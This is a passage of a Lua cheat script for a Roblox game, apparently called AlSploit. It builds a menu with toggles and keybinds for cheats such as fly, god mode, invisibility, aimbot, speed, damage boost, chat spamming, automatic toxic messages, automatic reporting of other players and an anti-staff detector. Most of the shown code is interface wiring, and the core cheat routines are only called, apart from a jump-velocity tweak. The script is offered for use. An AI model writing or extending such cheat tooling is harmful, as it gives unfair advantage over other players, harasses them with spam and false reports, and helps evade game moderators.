  3272. UserInputService.InputBegan:Connect(function(Input)
  3273. if not UserInputService:GetFocusedTextBox() then
  3274. if Input.KeyCode.Name == Settings.InfiniteFly.KeyBind then
  3275. Settings.InfiniteFly.Value = not Settings.InfiniteFly.Value
  3276.  
  3277. if Settings.InfiniteFly.Value == true then
  3278. task.spawn(function()
  3279. InfiniteFlyValue = true
  3280. InfFly()
  3281. end)
  3282.  
  3283. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3284. end
  3285.  
  3286. if Settings.InfiniteFly.Value == false then
  3287. InfiniteFlyValue = false
  3288. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3289. end
  3290. end
  3291. end
  3292. end)
  3293. end)
  3294. end)
  3295.  
  3296. task.spawn(function()
  3297. local HighJump, DropDownButton, LayoutOrder, UIGradient = CreateToggle(BlatantTab, "HighJump", Settings.HighJump.Value, function(CallBack)
  3298. Settings.HighJump.Value = CallBack
  3299.  
  3300. task.spawn(function()
  3301. UserInputService.JumpRequest:Connect(function()
  3302. if IsAlive(LocalPlayer) and Settings.HighJump.Value == true then
  3303. LocalPlayer.Character.PrimaryPart.Velocity = LocalPlayer.Character.PrimaryPart.Velocity + Vector3.new(0, 16.5, 0)
  3304. end
  3305. end)
  3306. end)
  3307. end)
  3308.  
  3309. task.spawn(function()
  3310. local InstanceUI
  3311. local Value = false
  3312.  
  3313. DropDownButton.Activated:Connect(function()
  3314. Value = not Value
  3315.  
  3316. if Value == true then
  3317. InstanceUI = CreateKeyBind(BlatantTab, Settings.HighJump.KeyBind, LayoutOrder + 1, function(CallBack)
  3318. Settings.HighJump.KeyBind = CallBack
  3319. end)
  3320. end
  3321.  
  3322. if Value == false then
  3323. InstanceUI:Destroy()
  3324. end
  3325. end)
  3326. end)
  3327.  
  3328. task.spawn(function()
  3329. UserInputService.InputBegan:Connect(function(Input)
  3330. if not UserInputService:GetFocusedTextBox() then
  3331. if Input.KeyCode.Name == Settings.HighJump.KeyBind then
  3332. Settings.HighJump.Value = not Settings.HighJump.Value
  3333.  
  3334. if Settings.HighJump.Value == true then
  3335. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3336. end
  3337.  
  3338. if Settings.HighJump.Value == false then
  3339. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3340. end
  3341. end
  3342. end
  3343. end)
  3344. end)
  3345. end)
  3346.  
  3347. task.spawn(function()
  3348. local GodMode, DropDownButton, LayoutOrder, UIGradient = CreateToggle(BlatantTab, "GodMode", Settings.GodMode.Value, function(CallBack)
  3349. Settings.GodMode.Value = CallBack
  3350. end)
  3351.  
  3352. task.spawn(function()
  3353. local InstanceUI
  3354. local Value = false
  3355.  
  3356. DropDownButton.Activated:Connect(function()
  3357. Value = not Value
  3358.  
  3359. if Value == true then
  3360. InstanceUI = CreateKeyBind(BlatantTab, Settings.GodMode.KeyBind, LayoutOrder + 1, function(CallBack)
  3361. Settings.GodMode.KeyBind = CallBack
  3362. end)
  3363. end
  3364.  
  3365. if Value == false then
  3366. InstanceUI:Destroy()
  3367. end
  3368. end)
  3369. end)
  3370.  
  3371. task.spawn(function()
  3372. UserInputService.InputBegan:Connect(function(Input)
  3373. if not UserInputService:GetFocusedTextBox() then
  3374. if Input.KeyCode.Name == Settings.GodMode.KeyBind then
  3375. Settings.GodMode.Value = not Settings.GodMode.Value
  3376.  
  3377. if Settings.GodMode.Value == true then
  3378. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3379. end
  3380.  
  3381. if Settings.GodMode.Value == false then
  3382. FlyValue = false
  3383. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3384. end
  3385. end
  3386. end
  3387. end)
  3388. end)
  3389. end)
  3390.  
  3391. task.spawn(function()
  3392. local Invisible, DropDownButton, LayoutOrder, UIGradient = CreateToggle(BlatantTab, "Invisible", Settings.Invisible.Value, function(CallBack)
  3393. Settings.Invisible.Value = CallBack
  3394.  
  3395. task.spawn(function()
  3396. if Settings.Invisible.Value == true then
  3397. Invisibility()
  3398. end
  3399.  
  3400. task.spawn(function()
  3401. LocalPlayer.CharacterAdded:Connect(function()
  3402. task.wait(0.3)
  3403.  
  3404. if Settings.Invisible.Value == true and IsAlive(LocalPlayer) then
  3405. Invisibility()
  3406. end
  3407. end)
  3408. end)
  3409. end)
  3410. end)
  3411.  
  3412. task.spawn(function()
  3413. local InstanceUI
  3414. local Value = false
  3415.  
  3416. DropDownButton.Activated:Connect(function()
  3417. Value = not Value
  3418.  
  3419. if Value == true then
  3420. InstanceUI = CreateKeyBind(BlatantTab, Settings.Invisible.KeyBind, LayoutOrder + 1, function(CallBack)
  3421. Settings.Invisible.KeyBind = CallBack
  3422. end)
  3423. end
  3424.  
  3425. if Value == false then
  3426. InstanceUI:Destroy()
  3427. end
  3428. end)
  3429. end)
  3430.  
  3431. task.spawn(function()
  3432. UserInputService.InputBegan:Connect(function(Input)
  3433. if not UserInputService:GetFocusedTextBox() then
  3434. if Input.KeyCode.Name == Settings.Invisible.KeyBind then
  3435. Settings.Invisible.Value = not Settings.Invisible.Value
  3436.  
  3437. task.spawn(function()
  3438. if Settings.Invisible.Value == true then
  3439. Invisibility()
  3440. end
  3441.  
  3442. task.spawn(function()
  3443. LocalPlayer.CharacterAdded:Connect(function()
  3444. task.wait(0.3)
  3445.  
  3446. if Settings.Invisible.Value == true and IsAlive(LocalPlayer) then
  3447. Invisibility()
  3448. end
  3449. end)
  3450. end)
  3451. end)
  3452.  
  3453. if Settings.Invisible.Value == true then
  3454. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3455. end
  3456.  
  3457. if Settings.Invisible.Value == false then
  3458. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3459. end
  3460. end
  3461. end
  3462. end)
  3463. end)
  3464. end)
  3465.  
  3466. task.spawn(function()
  3467. local Scaffold, DropDownButton, LayoutOrder, UIGradient = CreateToggle(BlatantTab, "Scaffold", Settings.Scaffold.Value, function(CallBack)
  3468. Settings.Scaffold.Value = CallBack
  3469. end)
  3470.  
  3471. task.spawn(function()
  3472. local InstanceUI
  3473. local Value = false
  3474.  
  3475. DropDownButton.Activated:Connect(function()
  3476. Value = not Value
  3477.  
  3478. if Value == true then
  3479. InstanceUI = CreateKeyBind(BlatantTab, Settings.Scaffold.KeyBind, LayoutOrder + 1, function(CallBack)
  3480. Settings.Scaffold.KeyBind = CallBack
  3481. end)
  3482. end
  3483.  
  3484. if Value == false then
  3485. InstanceUI:Destroy()
  3486. end
  3487. end)
  3488. end)
  3489.  
  3490. task.spawn(function()
  3491. UserInputService.InputBegan:Connect(function(Input)
  3492. if not UserInputService:GetFocusedTextBox() then
  3493. if Input.KeyCode.Name == Settings.Scaffold.KeyBind then
  3494. Settings.Scaffold.Value = not Settings.Scaffold.Value
  3495.  
  3496. if Settings.Scaffold.Value == true then
  3497. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3498. end
  3499.  
  3500. if Settings.Scaffold.Value == false then
  3501. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3502. end
  3503. end
  3504. end
  3505. end)
  3506. end)
  3507.  
  3508. task.spawn(function()
  3509. local InstanceUI
  3510. local Value = false
  3511.  
  3512. DropDownButton.Activated:Connect(function()
  3513. Value = not Value
  3514.  
  3515. if Value == true then
  3516. InstanceUI = CreateSlider(BlatantTab, "ExpandDistance", Settings.Scaffold.ExpandDistance, 4, LayoutOrder + 2, function(CallBack)
  3517. Settings.Scaffold.ExpandDistance = CallBack
  3518. end)
  3519. end
  3520.  
  3521. if Value == false then
  3522. InstanceUI:Destroy()
  3523. end
  3524. end)
  3525. end)
  3526. end)
  3527.  
  3528. task.spawn(function()
  3529. local Aimbot, DropDownButton, LayoutOrder, UIGradient = CreateToggle(BlatantTab, "Aimbot", Settings.Aimbot.Value, function(CallBack)
  3530. Settings.Aimbot.Value = CallBack
  3531. end)
  3532.  
  3533. task.spawn(function()
  3534. local InstanceUI
  3535. local Value = false
  3536.  
  3537. DropDownButton.Activated:Connect(function()
  3538. Value = not Value
  3539.  
  3540. if Value == true then
  3541. InstanceUI = CreateKeyBind(BlatantTab, Settings.Aimbot.KeyBind, LayoutOrder + 1, function(CallBack)
  3542. Settings.Aimbot.KeyBind = CallBack
  3543. end)
  3544. end
  3545.  
  3546. if Value == false then
  3547. InstanceUI:Destroy()
  3548. end
  3549. end)
  3550. end)
  3551.  
  3552. task.spawn(function()
  3553. UserInputService.InputBegan:Connect(function(Input)
  3554. if not UserInputService:GetFocusedTextBox() then
  3555. if Input.KeyCode.Name == Settings.Aimbot.KeyBind then
  3556. Settings.Aimbot.Value = not Settings.Aimbot.Value
  3557.  
  3558. if Settings.Aimbot.Value == true then
  3559. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3560. end
  3561.  
  3562. if Settings.Aimbot.Value == false then
  3563. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3564. end
  3565. end
  3566. end
  3567. end)
  3568. end)
  3569.  
  3570. task.spawn(function()
  3571. local InstanceUI
  3572. local Value = false
  3573.  
  3574. DropDownButton.Activated:Connect(function()
  3575. Value = not Value
  3576.  
  3577. if Value == true then
  3578. InstanceUI = CreateMiniToggle(BlatantTab, "ToolCheck", Settings.Aimbot.ToolCheck, LayoutOrder + 2, function(CallBack)
  3579. Settings.Aimbot.ToolCheck = CallBack
  3580. end)
  3581. end
  3582.  
  3583. if Value == false then
  3584. InstanceUI:Destroy()
  3585. end
  3586. end)
  3587. end)
  3588. end)
  3589.  
  3590. task.spawn(function()
  3591. local NoFall, DropDownButton, LayoutOrder, UIGradient = CreateToggle(BlatantTab, "NoFall", Settings.NoFall.Value, function(CallBack)
  3592. Settings.NoFall.Value = CallBack
  3593. end)
  3594.  
  3595. task.spawn(function()
  3596. local InstanceUI
  3597. local Value = false
  3598.  
  3599. DropDownButton.Activated:Connect(function()
  3600. Value = not Value
  3601.  
  3602. if Value == true then
  3603. InstanceUI = CreateKeyBind(BlatantTab, Settings.NoFall.KeyBind, LayoutOrder + 1, function(CallBack)
  3604. Settings.NoFall.KeyBind = CallBack
  3605. end)
  3606. end
  3607.  
  3608. if Value == false then
  3609. InstanceUI:Destroy()
  3610. end
  3611. end)
  3612. end)
  3613.  
  3614. task.spawn(function()
  3615. UserInputService.InputBegan:Connect(function(Input)
  3616. if not UserInputService:GetFocusedTextBox() then
  3617. if Input.KeyCode.Name == Settings.NoFall.KeyBind then
  3618. Settings.NoFall.Value = not Settings.NoFall.Value
  3619.  
  3620. if Settings.NoFall.Value == true then
  3621. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3622. end
  3623.  
  3624. if Settings.NoFall.Value == false then
  3625. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3626. end
  3627. end
  3628. end
  3629. end)
  3630. end)
  3631. end)
  3632.  
  3633. task.spawn(function()
  3634. local Speed, DropDownButton, LayoutOrder, UIGradient = CreateToggle(BlatantTab, "Speed", Settings.Speed.Value, function(CallBack)
  3635. Settings.Speed.Value = CallBack
  3636. end)
  3637.  
  3638. task.spawn(function()
  3639. local InstanceUI
  3640. local Value = false
  3641.  
  3642. DropDownButton.Activated:Connect(function()
  3643. Value = not Value
  3644.  
  3645. if Value == true then
  3646. InstanceUI = CreateKeyBind(BlatantTab, Settings.Speed.KeyBind, LayoutOrder + 1, function(CallBack)
  3647. Settings.Speed.KeyBind = CallBack
  3648. end)
  3649. end
  3650.  
  3651. if Value == false then
  3652. InstanceUI:Destroy()
  3653. end
  3654. end)
  3655. end)
  3656.  
  3657. task.spawn(function()
  3658. UserInputService.InputBegan:Connect(function(Input)
  3659. if not UserInputService:GetFocusedTextBox() then
  3660. if Input.KeyCode.Name == Settings.Speed.KeyBind then
  3661. Settings.Speed.Value = not Settings.Speed.Value
  3662.  
  3663. if Settings.Speed.Value == true then
  3664. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3665. end
  3666.  
  3667. if Settings.Speed.Value == false then
  3668. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3669. end
  3670. end
  3671. end
  3672. end)
  3673. end)
  3674.  
  3675. task.spawn(function()
  3676. local InstanceUI
  3677. local Value = false
  3678.  
  3679. DropDownButton.Activated:Connect(function()
  3680. Value = not Value
  3681.  
  3682. if Value == true then
  3683. InstanceUI = CreateSlider(BlatantTab, "Speed", Settings.Speed.Speed, 23, LayoutOrder + 2, function(CallBack)
  3684. Settings.Speed.Speed = CallBack
  3685. end)
  3686. end
  3687.  
  3688. if Value == false then
  3689. InstanceUI:Destroy()
  3690. end
  3691. end)
  3692. end)
  3693. end)
  3694.  
  3695. task.spawn(function()
  3696. local Fly, DropDownButton, LayoutOrder, UIGradient = CreateToggle(BlatantTab, "Fly", Settings.Fly.Value, function(CallBack)
  3697. Settings.Fly.Value = CallBack
  3698.  
  3699. task.spawn(function()
  3700. if Settings.Fly.Value == true then
  3701. FlyValue = true
  3702. FlyMe()
  3703. end
  3704. end)
  3705. end)
  3706.  
  3707. task.spawn(function()
  3708. local InstanceUI
  3709. local Value = false
  3710.  
  3711. DropDownButton.Activated:Connect(function()
  3712. Value = not Value
  3713.  
  3714. if Value == true then
  3715. InstanceUI = CreateKeyBind(BlatantTab, Settings.Fly.KeyBind, LayoutOrder + 1, function(CallBack)
  3716. Settings.Fly.KeyBind = CallBack
  3717. end)
  3718. end
  3719.  
  3720. if Value == false then
  3721. InstanceUI:Destroy()
  3722. end
  3723. end)
  3724. end)
  3725.  
  3726. task.spawn(function()
  3727. UserInputService.InputBegan:Connect(function(Input)
  3728. if not UserInputService:GetFocusedTextBox() then
  3729. if Input.KeyCode.Name == Settings.Fly.KeyBind then
  3730. Settings.Fly.Value = not Settings.Fly.Value
  3731.  
  3732. if Settings.Fly.Value == true then
  3733. task.spawn(function()
  3734. if Settings.Fly.Value == true then
  3735. FlyValue = true
  3736. FlyMe()
  3737. end
  3738. end)
  3739.  
  3740. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3741. end
  3742.  
  3743. if Settings.Fly.Value == false then
  3744. FlyValue = false
  3745. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3746. end
  3747. end
  3748. end
  3749. end)
  3750. end)
  3751. end)
  3752.  
  3753. task.spawn(function()
  3754. local DamageBoost, DropDownButton, LayoutOrder, UIGradient = CreateToggle(UtilityTab, "DamageBoost", Settings.DamageBoost.Value, function(CallBack)
  3755. Settings.DamageBoost.Value = CallBack
  3756. end)
  3757.  
  3758. task.spawn(function()
  3759. local InstanceUI
  3760. local Value = false
  3761.  
  3762. DropDownButton.Activated:Connect(function()
  3763. Value = not Value
  3764.  
  3765. if Value == true then
  3766. InstanceUI = CreateKeyBind(UtilityTab, Settings.DamageBoost.KeyBind, LayoutOrder + 1, function(CallBack)
  3767. Settings.DamageBoost.KeyBind = CallBack
  3768. end)
  3769. end
  3770.  
  3771. if Value == false then
  3772. InstanceUI:Destroy()
  3773. end
  3774. end)
  3775. end)
  3776.  
  3777. task.spawn(function()
  3778. UserInputService.InputBegan:Connect(function(Input)
  3779. if not UserInputService:GetFocusedTextBox() then
  3780. if Input.KeyCode.Name == Settings.DamageBoost.KeyBind then
  3781. Settings.DamageBoost.Value = not Settings.DamageBoost.Value
  3782.  
  3783. if Settings.DamageBoost.Value == true then
  3784. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3785. end
  3786.  
  3787. if Settings.DamageBoost.Value == false then
  3788. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3789. end
  3790. end
  3791. end
  3792. end)
  3793. end)
  3794. end)
  3795.  
  3796. task.spawn(function()
  3797. local ChatSpammer, DropDownButton, LayoutOrder, UIGradient = CreateToggle(UtilityTab, "ChatSpammer", Settings.ChatSpammer.Value, function(CallBack)
  3798. Settings.ChatSpammer.Value = CallBack
  3799. end)
  3800.  
  3801. task.spawn(function()
  3802. local InstanceUI
  3803. local Value = false
  3804.  
  3805. DropDownButton.Activated:Connect(function()
  3806. Value = not Value
  3807.  
  3808. if Value == true then
  3809. InstanceUI = CreateKeyBind(UtilityTab, Settings.ChatSpammer.KeyBind, LayoutOrder + 1, function(CallBack)
  3810. Settings.ChatSpammer.KeyBind = CallBack
  3811. end)
  3812. end
  3813.  
  3814. if Value == false then
  3815. InstanceUI:Destroy()
  3816. end
  3817. end)
  3818. end)
  3819.  
  3820. task.spawn(function()
  3821. UserInputService.InputBegan:Connect(function(Input)
  3822. if not UserInputService:GetFocusedTextBox() then
  3823. if Input.KeyCode.Name == Settings.ChatSpammer.KeyBind then
  3824. Settings.ChatSpammer.Value = not Settings.ChatSpammer.Value
  3825.  
  3826. if Settings.ChatSpammer.Value == true then
  3827. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3828. end
  3829.  
  3830. if Settings.ChatSpammer.Value == false then
  3831. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3832. end
  3833. end
  3834. end
  3835. end)
  3836. end)
  3837.  
  3838. task.spawn(function()
  3839. local InstanceUI
  3840. local Value = false
  3841.  
  3842. DropDownButton.Activated:Connect(function()
  3843. Value = not Value
  3844.  
  3845. if Value == true then
  3846. InstanceUI = CreateSlider(UtilityTab, "Speed", Settings.ChatSpammer.Speed, 100, LayoutOrder + 2, function(CallBack)
  3847. Settings.ChatSpammer.Speed = CallBack
  3848. end)
  3849. end
  3850.  
  3851. if Value == false then
  3852. InstanceUI:Destroy()
  3853. end
  3854. end)
  3855. end)
  3856. end)
  3857.  
  3858. task.spawn(function()
  3859. local AutoReport, DropDownButton, LayoutOrder, UIGradient = CreateToggle(UtilityTab, "AutoReport", Settings.AutoReport.Value, function(CallBack)
  3860. Settings.AutoReport.Value = CallBack
  3861. end)
  3862.  
  3863. task.spawn(function()
  3864. local InstanceUI
  3865. local Value = false
  3866.  
  3867. DropDownButton.Activated:Connect(function()
  3868. Value = not Value
  3869.  
  3870. if Value == true then
  3871. InstanceUI = CreateKeyBind(UtilityTab, Settings.AutoReport.KeyBind, LayoutOrder + 1, function(CallBack)
  3872. Settings.AutoReport.KeyBind = CallBack
  3873. end)
  3874. end
  3875.  
  3876. if Value == false then
  3877. InstanceUI:Destroy()
  3878. end
  3879. end)
  3880. end)
  3881.  
  3882. task.spawn(function()
  3883. UserInputService.InputBegan:Connect(function(Input)
  3884. if not UserInputService:GetFocusedTextBox() then
  3885. if Input.KeyCode.Name == Settings.AutoReport.KeyBind then
  3886. Settings.AutoReport.Value = not Settings.AutoReport.Value
  3887.  
  3888. if Settings.AutoReport.Value == true then
  3889. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3890. end
  3891.  
  3892. if Settings.AutoReport.Value == false then
  3893. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3894. end
  3895. end
  3896. end
  3897. end)
  3898. end)
  3899. end)
  3900.  
  3901. task.spawn(function()
  3902. local FpsBooster, DropDownButton, LayoutOrder, UIGradient = CreateToggle(UtilityTab, "FpsBooster", Settings.FpsBooster.Value, function(CallBack)
  3903. Settings.FpsBooster.Value = CallBack
  3904.  
  3905. if Settings.FpsBooster.Value == true then
  3906. FpsBoost()
  3907.  
  3908. task.spawn(function()
  3909. CreateNotification(5, "AlSploit is now in balanced mode")
  3910. end)
  3911. end
  3912.  
  3913. if Settings.FpsBooster.Value == false then
  3914. task.spawn(function()
  3915. CreateNotification(5, "AlSploit is now in performance mode")
  3916. end)
  3917. end
  3918. end)
  3919.  
  3920. task.spawn(function()
  3921. local InstanceUI
  3922. local Value = false
  3923.  
  3924. DropDownButton.Activated:Connect(function()
  3925. Value = not Value
  3926.  
  3927. if Value == true then
  3928. InstanceUI = CreateKeyBind(UtilityTab, Settings.FpsBooster.KeyBind, LayoutOrder + 1, function(CallBack)
  3929. Settings.FpsBooster.KeyBind = CallBack
  3930. end)
  3931. end
  3932.  
  3933. if Value == false then
  3934. InstanceUI:Destroy()
  3935. end
  3936. end)
  3937. end)
  3938.  
  3939. task.spawn(function()
  3940. UserInputService.InputBegan:Connect(function(Input)
  3941. if not UserInputService:GetFocusedTextBox() then
  3942. if Input.KeyCode.Name == Settings.FpsBooster.KeyBind then
  3943. Settings.FpsBooster.Value = not Settings.FpsBooster.Value
  3944.  
  3945. if Settings.FpsBooster.Value == true then
  3946. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3947. end
  3948.  
  3949. if Settings.FpsBooster.Value == false then
  3950. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3951. end
  3952. end
  3953. end
  3954. end)
  3955. end)
  3956. end)
  3957.  
  3958. task.spawn(function()
  3959. local PlayAgain, DropDownButton, LayoutOrder, UIGradient = CreateToggle(UtilityTab, "PlayAgain", Settings.PlayAgain.Value, function(CallBack)
  3960. Settings.PlayAgain.Value = CallBack
  3961. end)
  3962.  
  3963. task.spawn(function()
  3964. local InstanceUI
  3965. local Value = false
  3966.  
  3967. DropDownButton.Activated:Connect(function()
  3968. Value = not Value
  3969.  
  3970. if Value == true then
  3971. InstanceUI = CreateKeyBind(UtilityTab, Settings.PlayAgain.KeyBind, LayoutOrder + 1, function(CallBack)
  3972. Settings.PlayAgain.KeyBind = CallBack
  3973. end)
  3974. end
  3975.  
  3976. if Value == false then
  3977. InstanceUI:Destroy()
  3978. end
  3979. end)
  3980. end)
  3981.  
  3982. task.spawn(function()
  3983. UserInputService.InputBegan:Connect(function(Input)
  3984. if not UserInputService:GetFocusedTextBox() then
  3985. if Input.KeyCode.Name == Settings.PlayAgain.KeyBind then
  3986. Settings.PlayAgain.Value = not Settings.PlayAgain.Value
  3987.  
  3988. if Settings.PlayAgain.Value == true then
  3989. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3990. end
  3991.  
  3992. if Settings.PlayAgain.Value == false then
  3993. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3994. end
  3995. end
  3996. end
  3997. end)
  3998. end)
  3999. end)
  4000.  
  4001. task.spawn(function()
  4002. local AutoToxic, DropDownButton, LayoutOrder, UIGradient = CreateToggle(UtilityTab, "AutoToxic", Settings.AutoToxic.Value, function(CallBack)
  4003. Settings.AutoToxic.Value = CallBack
  4004. end)
  4005.  
  4006. task.spawn(function()
  4007. local InstanceUI
  4008. local Value = false
  4009.  
  4010. DropDownButton.Activated:Connect(function()
  4011. Value = not Value
  4012.  
  4013. if Value == true then
  4014. InstanceUI = CreateKeyBind(UtilityTab, Settings.AutoToxic.KeyBind, LayoutOrder + 1, function(CallBack)
  4015. Settings.AutoToxic.KeyBind = CallBack
  4016. end)
  4017. end
  4018.  
  4019. if Value == false then
  4020. InstanceUI:Destroy()
  4021. end
  4022. end)
  4023. end)
  4024.  
  4025. task.spawn(function()
  4026. UserInputService.InputBegan:Connect(function(Input)
  4027. if not UserInputService:GetFocusedTextBox() then
  4028. if Input.KeyCode.Name == Settings.AutoToxic.KeyBind then
  4029. Settings.AutoToxic.Value = not Settings.AutoToxic.Value
  4030.  
  4031. if Settings.AutoToxic.Value == true then
  4032. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  4033. end
  4034.  
  4035. if Settings.AutoToxic.Value == false then
  4036. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  4037. end
  4038. end
  4039. end
  4040. end)
  4041. end)
  4042. end)
  4043.  
  4044. task.spawn(function()
  4045. local AutoBank, DropDownButton, LayoutOrder, UIGradient = CreateToggle(UtilityTab, "AutoBank", Settings.AutoBank.Value, function(CallBack)
  4046. Settings.AutoBank.Value = CallBack
  4047. end)
  4048.  
  4049. task.spawn(function()
  4050. local InstanceUI
  4051. local Value = false
  4052.  
  4053. DropDownButton.Activated:Connect(function()
  4054. Value = not Value
  4055.  
  4056. if Value == true then
  4057. InstanceUI = CreateKeyBind(UtilityTab, Settings.AutoBank.KeyBind, LayoutOrder + 1, function(CallBack)
  4058. Settings.AutoBank.KeyBind = CallBack
  4059. end)
  4060. end
  4061.  
  4062. if Value == false then
  4063. InstanceUI:Destroy()
  4064. end
  4065. end)
  4066. end)
  4067.  
  4068. task.spawn(function()
  4069. UserInputService.InputBegan:Connect(function(Input)
  4070. if not UserInputService:GetFocusedTextBox() then
  4071. if Input.KeyCode.Name == Settings.AutoBank.KeyBind then
  4072. Settings.AutoBank.Value = not Settings.AutoBank.Value
  4073.  
  4074. if Settings.AutoBank.Value == true then
  4075. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  4076. end
  4077.  
  4078. if Settings.AutoBank.Value == false then
  4079. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  4080. end
  4081. end
  4082. end
  4083. end)
  4084. end)
  4085.  
  4086. task.spawn(function()
  4087. local InstanceUI
  4088. local Value = false
  4089.  
  4090. DropDownButton.Activated:Connect(function()
  4091. Value = not Value
  4092.  
  4093. if Value == true then
  4094. InstanceUI = CreateSlider(UtilityTab, "Range", Settings.AutoBank.Range, 30, LayoutOrder + 2, function(CallBack)
  4095. Settings.AutoBank.Range = CallBack
  4096. end)
  4097. end
  4098.  
  4099. if Value == false then
  4100. InstanceUI:Destroy()
  4101. end
  4102. end)
  4103. end)
  4104. end)
  4105.  
  4106. task.spawn(function()
  4107. local AntiStaff, DropDownButton, LayoutOrder, UIGradient = CreateToggle(UtilityTab, "AntiStaff", Settings.AntiStaff.Value, function(CallBack)
  4108. Settings.AntiStaff.Value = CallBack
  4109. end)
  4110.  
  4111. task.spawn(function()
  4112. local InstanceUI
  4113. local Value = false
  4114.  
  4115. DropDownButton.Activated:Connect(function()
  4116. Value = not Value
  4117.  
  4118. if Value == true then
  4119. InstanceUI = CreateKeyBind(UtilityTab, Settings.AntiStaff.KeyBind, LayoutOrder + 1, function(CallBack)
  4120. Settings.AntiStaff.KeyBind = CallBack
  4121. end)
